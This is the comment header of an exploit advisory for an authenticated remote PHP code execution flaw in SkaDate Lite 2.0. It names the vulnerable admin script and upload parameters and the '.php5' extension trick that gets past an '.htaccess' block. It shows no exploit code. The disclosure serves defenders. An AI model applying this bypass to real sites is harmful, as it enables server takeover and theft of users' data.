# SkaDate Lite 2.0 Remote Code Execution Exploit
#
#
# Vendor: Skalfa LLC
# Product web page: http://lite.skadate.com | http://www.skalfa.com
# Affected version: 2.0 (build 7651) [Platform version: 1.7.0 (build 7906)]
#
# Summary: SkaDate Lite is a new platform that makes it easy to
# start online dating business in just a few easy steps. No
# programming or design knowledge is required. Install the solution,
# pick a template, and start driving traffic to your new online
# dating site.
#
# Desc: SkaDate Lite suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper
# verification of uploaded files in '/admin/settings/user' script
# thru the 'avatar' and 'bigAvatar' POST parameters. This can be
# exploited to execute arbitrary PHP code by uploading a malicious
# PHP script file with '.php5' extension (to bypass the '.htaccess'
# block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/'
# directory.
#
# Tested on: CentOS Linux 6.5 (Final)
# nginx/1.6.0
# PHP/5.3.28
# MySQL 5.5.37
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# Macedonian Information Security Research And Development Laboratory
